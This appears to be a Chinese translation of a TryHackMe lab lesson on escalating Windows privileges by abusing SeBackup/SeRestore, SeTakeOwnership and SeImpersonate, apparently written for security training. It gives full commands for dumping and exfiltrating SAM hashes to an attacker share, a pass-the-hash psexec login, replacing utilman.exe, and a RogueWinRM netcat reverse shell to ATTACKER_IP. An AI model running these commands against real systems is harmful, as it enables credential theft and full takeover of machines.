当前位置: 首页 > news >正文

【THM-课程内容】:Privilege Escalation-Windows Privilege Escalation:Abusing dangerous privileges

Windows Privileges

Privileges是帐户执行特定系统相关任务的权限。这些任务可以简单到关闭机器的权限,也可以简单到绕过一些基于DACL的访问控制的权限。

每个用户都有一组分配的权限,可以使用以下命令进行检查:

whoami /priv

(Privilege Constants (Winnt.h) - Win32 apps | Microsoft Learn)此处提供了Windows系统上可用特权的完整列表。从攻击者的角度来看,只有那些允许我们在系统中升级的特权才有意义。您可以在(GitHub - gtworek/Priv2Admin: Exploitation paths allowing you to (mis)use the Windows Privileges to elevate your rights within the OS. · GitHub)项目上找到可利用特权的完整列表。

虽然我们不会逐一介绍,但我们将展示如何滥用您能找到的一些最常见的特权。

SeBackup / SeRestore

SeBackup和SeRestore权限允许用户读取和写入系统中的任何文件,忽略任何DACL。此权限背后的想法是允许某些用户从系统执行备份,而不需要完全的管理权限。

拥有这种能力,攻击者可以通过使用许多技术轻松升级系统上的权限。我们将探讨的方法包括复制SAM和SYSTEM注册表配置单元,以提取本地管理员的密码哈希。

此帐户是“备份操作员”组的一部分,默认情况下,该组被授予SeBackup和SeRestore权限。我们需要使用“以管理员身份打开”选项打开命令提示符来使用这些权限。我们将被要求再次输入密码以获得提升的控制台:

在命令提示符下,我们可以使用以下命令检查我们的权限:

C:\> whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ============================== ======== SeBackupPrivilege Back up files and directories Disabled SeRestorePrivilege Restore files and directories Disabled SeShutdownPrivilege Shut down the system Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

要备份SAM和SYSTEM哈希值,我们可以使用以下命令:

C:\> reg save hklm\system C:\Users\THMBackup\system.hive The operation completed successfully. C:\> reg save hklm\sam C:\Users\THMBackup\sam.hive The operation completed successfully.

这将创建几个包含注册表配置单元内容的文件。我们现在可以使用SMB或任何其他可用方法将这些文件复制到攻击者机器上。对于SMB,我们可以使用impacket的smbserver.py启动一个简单的SMB服务器,该服务器在AttackBox的当前目录中具有网络共享:

user@attackerpc$ mkdir share user@attackerpc$ python3.9 /opt/impacket/examples/smbserver.py -smb2support -username THMBackup -password CopyMaster555 public share

这将创建一个名为public的共享,指向共享目录,这需要我们当前windows会话的用户名和密码。在此之后,我们可以在windows计算机中使用copy命令将这两个文件传输到AttackBox:

C:\> copy C:\Users\THMBackup\sam.hive \\ATTACKER_IP\public\ C:\> copy C:\Users\THMBackup\system.hive \\ATTACKER_IP\public\

并使用impacket检索用户的密码哈希值:

user@attackerpc$ python3.9 /opt/impacket/examples/secretsdump.py -sam sam.hive -system system.hive LOCAL Impacket v0.9.24.dev1+20210704.162046.29ad5792 - Copyright 2021 SecureAuth Corporation [*] Target system bootKey: 0x36c8d26ec0df8b23ce63bcefa6e2d821 [*] Dumping local SAM hashes (uid:rid:lmhash:nthash) Administrator:500:aad3b435b51404eeaad3b435b51404ee:13a04cdcf3f7ec41264e568127c5ca94::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

我们最终可以使用管理员的哈希来执行哈希传递攻击,并以SYSTEM权限访问目标机器:

user@attackerpc$ python3.9 /opt/impacket/examples/psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:13a04cdcf3f7ec41264e568127c5ca94 administrator@10.48.150.195 Impacket v0.9.24.dev1+20210704.162046.29ad5792 - Copyright 2021 SecureAuth Corporation [*] Requesting shares on 10.10.175.90..... [*] Found writable share ADMIN$ [*] Uploading file nfhtabqO.exe [*] Opening SVCManager on 10.10.175.90..... [*] Creating service RoLE on 10.10.175.90..... [*] Starting service RoLE..... [!] Press help for extra shell commands Microsoft Windows [Version 10.0.17763.1821] (c) 2018 Microsoft Corporation. All rights reserved. C:\Windows\system32> whoami nt authority\system

SeTakeOwnership

SeTakeOwnership权限允许用户拥有系统上任何对象的所有权,包括文件和注册表项,这为攻击者提升权限开辟了许多可能性,例如,我们可以搜索以system运行的服务并获得该服务的可执行文件的所有权。然而,对于这项任务,我们将采取不同的路线。

要获得SeTakeOwnership权限,我们需要使用“以管理员身份打开”选项打开命令提示符。我们将被要求输入密码以获得提升的控制台:

在命令提示符下,我们可以使用以下命令检查我们的权限:

C:\> whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ======================================== ======== SeTakeOwnershipPrivilege Take ownership of files or other objects Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

这次我们将通过滥用utilman.exe来升级权限。Utilman是一个内置的Windows应用程序,用于在锁屏期间提供轻松访问选项:

由于Utilman是以SYSTEM权限运行的,如果我们替换任何我们喜欢的负载的原始二进制文件,我们将有效地获得SYSTEM权限。由于我们可以拥有任何文件的所有权,因此替换它是轻而易举的。

要替换utilman,我们将首先使用以下命令获取它的所有权:

C:\> takeown /f C:\Windows\System32\Utilman.exe SUCCESS: The file (or folder): "C:\Windows\System32\Utilman.exe" now owned by user "WINPRIVESC2\thmtakeownership".

请注意,作为文件的所有者并不一定意味着你对它有特权,但作为所有者,你可以为自己分配所需的任何特权。要授予用户对utilman.exe的完全权限,可以使用以下命令:

C:\> icacls C:\Windows\System32\Utilman.exe /grant THMTakeOwnership:F processed file: Utilman.exe Successfully processed 1 files; Failed processing 0 files

在此之后,我们将用cmd.exe的副本替换utilman.exe:

C:\Windows\System32\> copy cmd.exe utilman.exe 1 file(s) copied.

要触发utilman,我们将从开始按钮锁定屏幕:

最后,继续单击“易于访问”按钮,该按钮以SYSTEM权限运行utilman.exe。由于我们用cmd.exe副本替换了它,我们将得到一个具有SYSTEM权限的命令提示符:

SeImpersonate / SeAssignPrimaryToken

这些特权允许进程模拟其他用户并代表他们行事。模拟通常包括能够在另一个用户的安全上下文下生成进程或线程。

当你思考FTP服务器的工作原理时,模仿很容易理解。FTP服务器必须限制用户只能访问他们应该被允许查看的文件。

假设我们有一个使用用户FTP运行的FTP服务。如果没有模拟,如果用户Ann登录到FTP服务器并尝试访问她的文件,FTP服务将尝试使用其访问令牌而不是Ann的访问令牌来访问它们:

使用ftp令牌不是最好的主意有几个原因:-为了正确提供文件,ftp用户需要可以访问它们。在上面的例子中,FTP服务将能够访问Ann的文件,但不能访问Bill的文件,因为Bill文件中的DACL不允许用户FTP。这增加了复杂性,因为我们必须为每个服务的文件/目录手动配置特定的权限。-对于操作系统,所有文件都由用户ftp访问,与当前登录ftp服务的用户无关。这使得无法将授权委托给操作系统;因此,FTP服务必须实现它。-如果FTP服务在某个时候受到攻击,攻击者将立即访问FTP用户可以访问的所有文件夹。

另一方面,如果FTP服务的用户具有SeImpersonate或SeAssignPrimaryToken权限,则所有这些都会稍微简化,因为FTP服务可以临时获取登录用户的访问令牌,并使用它来代表他们执行任何任务:

现在,如果用户Ann登录到FTP服务,并且给定FTP用户具有模拟权限,则它可以借用Ann的访问令牌并使用它来访问她的文件。这样,文件就不需要以任何方式提供对用户ftp的访问,操作系统会处理授权。由于FTP服务正在模拟Ann,因此在该会话期间将无法访问Jude或Bill的文件。

作为攻击者,如果我们设法用SeImpersonate或SeAssignPrimaryToken权限控制一个进程,我们就可以冒充任何连接并验证该进程的用户。

在Windows系统中,您会发现本地服务和网络服务帐户已经具有此类权限。由于这些帐户用于使用受限帐户生成服务,因此如果服务需要,允许它们模拟连接用户是有意义的。Internet信息服务(IIS)还将为web应用程序创建一个名为“IIS apppool\defaultapppool”的类似默认帐户。

要使用此类帐户提升权限,攻击者需要以下条件:1。生成一个进程,以便用户可以连接并验证它以进行模拟。2.找到一种方法来强制特权用户连接并验证生成的恶意进程。

我们将使用RogueWinRM漏洞来实现这两个条件。

让我们首先假设我们已经破坏了一个在IIS上运行的网站,并且我们在以下地址上植入了一个web shell:

http://10.48.150.195/

我们可以使用web shell检查被入侵帐户的分配权限,并确认我们拥有此任务的两个相关权限:

要使用RogueWinRM,我们首先需要将漏洞上传到目标计算机。为了您的方便,这已经完成了,您可以在C:\tools\文件夹中找到该漏洞。

RogueWinRM漏洞是可能的,因为每当用户(包括无权限用户)在Windows中启动BITS服务时,它都会使用SYSTEM权限自动创建到端口5985的连接。端口5985通常用于WinRM服务,它只是一个暴露Powershell控制台以通过网络远程使用的端口。可以把它想象成SSH,但使用Powershell。

如果由于某种原因,WinRM服务未在受害者服务器上运行,则攻击者可以在端口5985上启动虚假的WinRM服务,并在启动时捕获BITS服务进行的身份验证尝试。如果攻击者具有SeImpersonate权限,他可以代表连接的用户(即SYSTEM)执行任何命令。


在运行漏洞之前,我们将启动一个netcat监听器,在攻击者的机器上接收一个反向shell:

user@attackerpc$ nc -lvp 4442

然后,使用我们的web shell使用以下命令触发RogueWinRM漏洞:

c:\tools\RogueWinRM\RogueWinRM.exe -p "C:\tools\nc64.exe" -a "-e cmd.exe ATTACKER_IP 4442"

注意:该漏洞可能需要2分钟才能工作,因此您的浏览器可能会在一段时间内显示为无响应。如果您多次运行该漏洞,就会发生这种情况,因为它必须等待BITS服务停止才能再次启动。BITS服务将在启动2分钟后自动停止。

-p参数指定漏洞利用程序要运行的可执行文件,在本例中为nc64.exe。-a参数用于将参数传递给可执行文件。由于我们希望nc64针对我们的攻击者机器建立一个反向shell,因此传递给netcat的参数将是-e cmd.exe ATTACHER_IP 4442。

如果所有设置都正确,您应该期望一个具有SYSTEM权限的shell:

user@attackerpc$ nc -lvp 4442 Listening on 0.0.0.0 4442 Connection received on 10.10.175.90 49755 Microsoft Windows [Version 10.0.17763.1821] (c) 2018 Microsoft Corporation. All rights reserved. c:\windows\system32\inetsrv>whoami nt authority\system

使用本任务中讨论的三种方法中的任何一种,访问管理员的桌面并收集标志。别忘了在任务结束时输入标志。

http://www.jsqmd.com/news/659877/

相关文章:

  • LLM工程化实践——RAG基础入门(一)
  • Bitbucket代码仓库全流程指南:从创建到分支管理与忽略文件配置
  • GEO Monitor Toolkit:让你知道 AI 模型在背后怎么评价你
  • SAP 组织与核算要素全景梳理(含架构、关系、数据流转)
  • ComfyUI-VideoHelperSuite三阶架构设计:基于FFmpeg的模块化视频处理引擎
  • TR-B | 中南-北航团队:连续通勤走廊早高峰均衡,终于完整破解!
  • 飞书文档批量导出工具:从手动复制到自动化迁移的完整解决方案
  • C语言中将数字转换为字符串的方法
  • 013、Python条件判断:if、elif、else语句
  • 轻量模型不妥协:all-MiniLM-L6-v2在Ollama中保持92%+ STS-B准确率
  • 从原理到实战:深度剖析Apache Shiro Remember Me反序列化漏洞(CVE-2016-4437)的攻防博弈
  • GitHub中文界面插件终极指南:3分钟让你的GitHub全面中文化
  • 沈阳小程序制作终极攻略:2026 年精准锁定最佳开发团队
  • AI 技术日报 - 2026-04-18
  • Zstats高级版教程(4):如何进行变量统计描述(下)—针对定量变量
  • 1的GCGV不好不坏更加符合
  • 2026年终极指南:简单三步突破JetBrains IDE试用期限制
  • Python金融数据自动化:解密同花顺问财API的量化分析新范式
  • Kandinsky-5.0-I2V-Lite-5s开源可部署方案:支持中小企业私有化部署的图生视频引擎
  • JavaScript 异步编程
  • 深入解析二维随机变量的期望E(XY)与方差D(XY)计算实例
  • AI编程提效的真实瓶颈:不是工具不行,是需求没说清楚
  • WebPlotDigitizer数据提取指南:3步从图表图像获取精准数值的完整教程
  • 3分钟快速上手:本地视频硬字幕提取终极指南
  • ComfyUI-Manager终极指南:如何5分钟快速管理所有自定义节点
  • Bili2text:一键免费将B站视频转为文字稿的高效工具
  • 储能系统出海欧洲:基于CE合规规范的边缘计算网关数据架构与代码实践
  • 别再只会用audioread了!手把手教你用MATLAB直接解析WAV文件头(附完整代码)
  • Face3D.ai Pro在教育领域的应用:3D解剖学教学工具
  • 如何快速解密微信聊天记录:WechatDecrypt工具的完整实战指南